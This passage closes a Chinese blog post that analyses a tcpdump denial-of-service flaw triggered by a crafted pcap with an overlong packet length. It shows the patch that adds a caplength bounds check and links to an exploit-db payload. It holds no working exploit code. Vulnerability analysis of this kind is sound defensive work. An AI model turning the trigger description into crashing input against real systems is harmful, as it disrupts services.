<h3 id="漏洞总结"><a href="#漏洞总结" class="headerlink" title="漏洞总结"></a>漏洞总结</h3><p>总结一下整个漏洞触发过程，首先tcpdump会读取恶意构造的pcap包，在构造pcap包的时候，设置一个超长的数据包长度，tcpdump会根据len的长度去读取保存在内存空间数据包的内容，当引用到不可读取内存位置时，会由于引用不可读指针，造成拒绝服务漏洞。</p>
|
||
<h2 id="漏洞修补"><a href="#漏洞修补" class="headerlink" title="漏洞修补"></a>漏洞修补</h2><p>Libpcap依然是apt安装的默认版本，tcpdump使用4.7 .0-bp版本<br>在hex_and_ascii_print_with_offset中增加对caplength的判断<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">1. caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;</span><br><span class="line">2. if (length > caplength)</span><br><span class="line">3. length = caplength;</span><br><span class="line">4. nshorts = length / sizeof(u_short);</span><br><span class="line">5. i = 0;</span><br><span class="line">6. hsp = hexstuff; asp = asciistuff;</span><br><span class="line">7. while (--nshorts >= 0) {</span><br><span class="line">8. ...</span><br><span class="line">9. }</span><br></pre></td></tr></table></figure></p>
|
||
<p>可以看到执行完caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;，caplength为0，继续执行，可以推出length同样为0，到这里已经不会发生错误了。</p>
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<h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p><a href="https://www.exploit-db.com/exploits/39875/" target="_blank" rel="noopener">exploit-db payload</a><br><a href="https://whereisk0shl.top/post/2016-10-23-1" target="_blank" rel="noopener">WHEREISK0SHL分析博客</a><br><a href="https://github.com/the-tcpdump-group" target="_blank" rel="noopener">libpcap/tcpdump源码</a></p>
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